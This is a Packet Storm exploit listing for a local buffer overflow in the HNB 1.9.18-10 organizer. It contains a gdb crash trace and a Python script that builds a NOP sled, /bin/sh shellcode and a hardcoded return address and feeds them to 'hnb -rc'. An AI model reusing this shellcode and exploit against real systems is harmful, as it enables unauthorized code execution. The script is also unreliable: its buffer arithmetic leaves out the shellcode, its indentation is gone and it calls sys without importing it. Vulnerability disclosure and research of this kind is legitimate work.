HNB 1.9.18-10 Buffer Overflow

2016-06-28T00:00:00
ID PACKETSTORM:137692
Type packetstorm
Reporter Juan Sacco
Modified 2016-06-28T00:00:00

Description

                                        
                                            `# Exploit developed using Exploit Pack v5.4  
# Exploit Author: Juan Sacco - http://www.exploitpack.com -  
jsacco@exploitpack.com  
# Program affected: HNB - Organizer  
# Version: 1.9.18-10  
#  
# Tested and developed under: Kali Linux 2.0 x86 - https://www.kali.org  
# Program description: Hnb is an ncurses program to organize many  
kinds of data in one place, for  
# example addresses, todo lists, ideas, book reviews or to store snippets of  
# brainstorming.  
# Kali Linux 2.0 package: pool/main/h/hnb/hnb_1.9.18-10_i386.deb  
# MD5sum: 1e1ff680f6e94a1a28ca85eeb3ea6aa0  
# Website:http://hnb.sourceforge.net/  
#  
# gdb$ run -rc `python -c 'print "A"*108'`  
# Starting program: /usr/bin/hnb -rc `python -c 'print "A"*108'`  
# *** buffer overflow detected ***: /usr/bin/hnb terminated  
# ======= Backtrace: =========  
# /lib/i386-linux-gnu/i686/cmov/libc.so.6(+0x6c773)[0xb7e14773]  
# /lib/i386-linux-gnu/i686/cmov/libc.so.6(__fortify_fail+0x45)[0xb7ea4b85]  
# /lib/i386-linux-gnu/i686/cmov/libc.so.6(+0xfac3a)[0xb7ea2c3a]  
# /lib/i386-linux-gnu/i686/cmov/libc.so.6(__strcpy_chk+0x37)[0xb7ea2127]  
# /usr/bin/hnb[0x8049669]  
# /lib/i386-linux-gnu/i686/cmov/libc.so.6(__libc_start_main+0xf3)[0xb7dc1a63]  
# /usr/bin/hnb[0x804a2d9]  
# ======= Memory map: ========  
# 08048000-0806e000 r-xp 00000000 08:01 2253992 /usr/bin/hnb  
# 0806e000-0806f000 r--p 00025000 08:01 2253992 /usr/bin/hnb  
# 0806f000-08070000 rw-p 00026000 08:01 2253992 /usr/bin/hnb  
# 08070000-080b1000 rw-p 00000000 00:00 0 [heap]  
  
  
import os, subprocess  
  
def run():  
try:  
print "# HNB Organizer - Local Buffer Overflow by Juan Sacco"  
print "# This Exploit has been developed using Exploit Pack"  
# NOPSLED + SHELLCODE + EIP  
  
buffersize = 108  
nopsled = "\x90"*40  
shellcode =  
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"  
eip = "\x40\xf3\xff\xbf"  
buffer = nopsled * (buffersize-len(shellcode)) + eip  
subprocess.call(["hnb -rc",' ', buffer])  
  
except OSError as e:  
if e.errno == os.errno.ENOENT:  
print "Sorry, HNB File Viewer - Not found!"  
else:  
print "Error executing exploit"  
raise  
  
def howtousage():  
print "Snap! Something went wrong"  
sys.exit(-1)  
  
if __name__ == '__main__':  
try:  
print "Exploit HNB 1.9.18-10 Local Overflow Exploit"  
print "Author: Juan Sacco - Exploit Pack"  
except IndexError:  
howtousage()  
run()  
`